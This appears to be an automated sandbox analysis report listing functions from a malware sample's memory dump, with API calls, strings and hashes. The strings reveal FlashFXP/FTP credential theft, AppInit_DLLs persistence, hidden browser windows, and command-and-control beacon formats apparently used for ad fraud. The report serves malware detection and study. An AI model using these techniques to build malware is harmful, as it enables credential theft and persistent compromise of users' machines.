API String ID: 3472027048-2333287219
Opcode ID: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

+@, xrefs: 00408CB7
http, xrefs: 00408E1A
_self, xrefs: 00408ED5

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182,?,0040B320,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

application/x-javascript, xrefs: 00406B68
text/html, xrefs: 00406B01
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
text/javascript, xrefs: 00406BF3

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell_TrayWnd, xrefs: 0040A1CF
eventConn, xrefs: 0040A188

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 004047CC Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftp://%S:%S@%S:%u, xrefs: 004049F6
ftplist.txt, xrefs: 00404805

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$AllocCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 1635188419-1322549247
Opcode ID: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

+@, xrefs: 004089FD
http, xrefs: 00408B59

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

&, xrefs: 004037EA
datafolder, xrefs: 0040376D
*flashfxp*, xrefs: 004037CE
#, xrefs: 004037DC
SOFTWARE\FlashFXP\3, xrefs: 0040375E

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

<url>, xrefs: 0040991C
http://, xrefs: 00409941
<domain>, xrefs: 004099BD
</url>, xrefs: 00409917
</domain>, xrefs: 004099B8

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(75C0F6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

^rcn=1, xrefs: 0040AD37
job^rev=%s^os=%s, xrefs: 0040ACDB
d, xrefs: 0040ADB6
0, xrefs: 0040AD12
hOA, xrefs: 0040ACC0

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 0040253C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113sleepprocessfileCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402566
DeleteFileW.KERNEL32(00000000,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402587
Sleep.KERNEL32(0000EA60,00000000,00000001,00000000,00000000), ref: 004025B3

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

_memset.LIBCMT ref: 004025DA
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00420840,?,?,?,?,?,00000000,00000001,00000000), ref: 0040264D

Strings

none, xrefs: 00402614

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectCreateDeleteFileInternetProcess_memset
String ID: none
API String ID: 2353737338-2140143823
Opcode ID: c6b2da4a895c5a3c06ad821b8c76fb1796c02a28dfb90d6d9730734cddc33c41
Instruction ID: 23ab6f573089ca27c74aa918c09813edc931bf25471b74fd790eff350109b64e
Opcode Fuzzy Hash: c6b2da4a895c5a3c06ad821b8c76fb1796c02a28dfb90d6d9730734cddc33c41
Instruction Fuzzy Hash: 8D319231A00219ABCB21EF61DE49AEF7769FF04748F00043BF905B21C1D6789A51CBAE

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,00000000), ref: 00408628
GetLastError.KERNEL32(?,00000000), ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll,?,00000000), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

AppInit_DLLs, xrefs: 00408639, 00408671
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676
C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

<url>, xrefs: 00409AD1
<title>, xrefs: 00409AAC
</url>, xrefs: 00409ACC
</title>, xrefs: 00409AA7

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,?,?,00402C8F,00000032,00000000,00000000,00000000,00000000,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: b149150f67450d10939e037a4072d5df3dc9b6793fc6db3c061519f1f12da8b2
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: b149150f67450d10939e037a4072d5df3dc9b6793fc6db3c061519f1f12da8b2
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(00000000), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: 20f9c5eacef7b48b8181bad7e01822bf71c4addd269446e4957b1a187c5c6ded
